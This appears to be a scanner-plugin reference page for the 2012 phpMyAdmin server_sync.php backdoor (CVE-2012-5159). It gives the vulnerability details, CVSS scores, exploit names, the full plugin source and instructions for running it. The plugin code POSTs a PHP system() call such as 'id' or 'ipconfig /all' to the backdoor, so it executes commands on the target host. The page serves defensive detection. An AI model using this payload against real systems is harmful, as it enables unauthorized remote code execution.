phpMyAdmin server_sync.php Backdoor (PMASA-2012-5) - Nessus

High Plugin ID: 62312

This page contains detailed information about the phpMyAdmin server_sync.php Backdoor (PMASA-2012-5) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 62312
Name: phpMyAdmin server_sync.php Backdoor (PMASA-2012-5)
Filename: phpmyadmin_pmasa_2012_5.nasl
Vulnerability Published: 2012-09-25
This Plugin Published: 2012-09-26
Last Modification Time: 2022-04-11
Plugin Version: 1.14
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, phpMyAdmin_detect.nasl
Required KB Items [?]: www/PHP, www/phpMyAdmin
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: High
Vulnerability Published: 2012-09-25
Patch Published: 2012-09-25
CVE [?]: CVE-2012-5159
CPE [?]: cpe:/a:phpmyadmin:phpmyadmin

Synopsis

A web application hosted on the remote web server has a backdoor.

Description

The phpMyAdmin install hosted on the remote web server contains a backdoor script, probably obtained from the cdnetworks-kr-1 SourceForge.net mirror site as part of the file phpMyAdmin-3.5.2.2-all-languages.zip. An unauthenticated, remote attacker can use this backdoor to execute arbitrary PHP code on the remote host, subject to the privileges under which the web server operates.

Note that the bogus distribution file is also reported to have contained a modified version of the file js/cross_framing_protection.js, although Nessus has not tested for that.

Solution

Remove the affected phpMyAdmin install and conduct a full security review of the web server, as it may have been compromised. Use only a trusted mirror to download the application again.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, GitHub, Immunity Canvas)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the phpMyAdmin server_sync.php Backdoor (PMASA-2012-5) vulnerability:

Metasploit: exploit/multi/http/phpmyadmin_3522_backdoor
[phpMyAdmin 3.5.2.2 server_sync.php Backdoor]
GitHub: https://github.com/duckstroms/Web-CTF-Cheatsheet
[CVE-2012-5159]
GitHub: https://github.com/w181496/Web-CTF-Cheatsheet
[CVE-2012-5159]
Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.5 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.5 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.4 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.4 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(62312);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-5159");
  script_bugtraq_id(55672);

  script_name(english:"phpMyAdmin server_sync.php Backdoor (PMASA-2012-5)");

  script_set_attribute(attribute:"synopsis", value:
"A web application hosted on the remote web server has a backdoor.");
  script_set_attribute(attribute:"description", value:
"The phpMyAdmin install hosted on the remote web server contains a
backdoor script, probably obtained from the cdnetworks-kr-1
SourceForge.net mirror site as part of the file
phpMyAdmin-3.5.2.2-all-languages.zip.  An unauthenticated, remote
attacker can use this backdoor to execute arbitrary PHP code on the
remote host, subject to the privileges under which the web server
operates.

Note that the bogus distribution file is also reported to have contained
a modified version of the file js/cross_framing_protection.js, although
Nessus has not tested for that.");
  script_set_attribute(attribute:"see_also", value:"https://www.phpmyadmin.net/security/PMASA-2012-5/");
  script_set_attribute(attribute:"solution", value:
"Remove the affected phpMyAdmin install and conduct a full security
review of the web server, as it may have been compromised.  Use only a
trusted mirror to download the application again.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'phpMyAdmin 3.5.2.2 server_sync.php Backdoor');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"D2ExploitPack");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/09/25");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/09/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/09/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:phpmyadmin:phpmyadmin");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpMyAdmin_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/PHP", "www/phpMyAdmin");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

install = get_install_from_kb(
  appname      : "phpMyAdmin",
  port         : port,
  exit_on_fail : TRUE
);
dir = install['dir'];

if (report_paranoia < 2 && (os = get_kb_item('Host/OS')))
{
  if ('Windows' >< os)
    cmds = make_list('ipconfig /all');
  else
    cmds = make_list('id');
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats['id'] = 'uid=[0-9]+.*gid=[0-9]+.*';
cmd_pats['ipconfig /all'] = 'Windows IP Configuration';

foreach cmd (cmds)
{
  php = 'system("' + cmd + '");';
  res = http_send_recv3(
    method       : 'POST',
    port         : port,
    item         : dir + "/server_sync.php",
    data         : "c=" + urlencode(str:php),
    content_type : "application/x-www-form-urlencoded",
    exit_on_fail : TRUE
  );

  if (egrep(pattern:cmd_pats[cmd], string:res[2]))
  {
    if (report_verbosity > 0)
    {
      report =
        '\n' + "Nessus was able to execute the command '" + cmd + "' on the remote" +
        '\n' + 'host using the following request :' +
        '\n' +
        '\n' + crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) +
        '\n' + http_last_sent_request() +
        '\n' + crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) + 
        '\n';
      if (report_verbosity > 1)
      {
        report +=
          '\n' + 'This produced the following output :' +
          '\n' +
          '\n' + data_protection::sanitize_uid(output:chomp(res[2])) +
          '\n' +
          '\n';
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "phpMyAdmin", build_url(qs:dir+'/', port:port));

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/phpmyadmin_pmasa_2012_5.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\phpmyadmin_pmasa_2012_5.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/phpmyadmin_pmasa_2012_5.nasl

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How to Run

Here is how to run the phpMyAdmin server_sync.php Backdoor (PMASA-2012-5) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select phpMyAdmin server_sync.php Backdoor (PMASA-2012-5) plugin ID 62312.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl phpmyadmin_pmasa_2012_5.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a phpmyadmin_pmasa_2012_5.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - phpmyadmin_pmasa_2012_5.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state phpmyadmin_pmasa_2012_5.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

55672

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file phpmyadmin_pmasa_2012_5.nasl version 1.14. For more plugins, visit the Nessus Plugin Library.

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phpMyAdmin server_sync.php Backdoor (PMASA-2012-5) - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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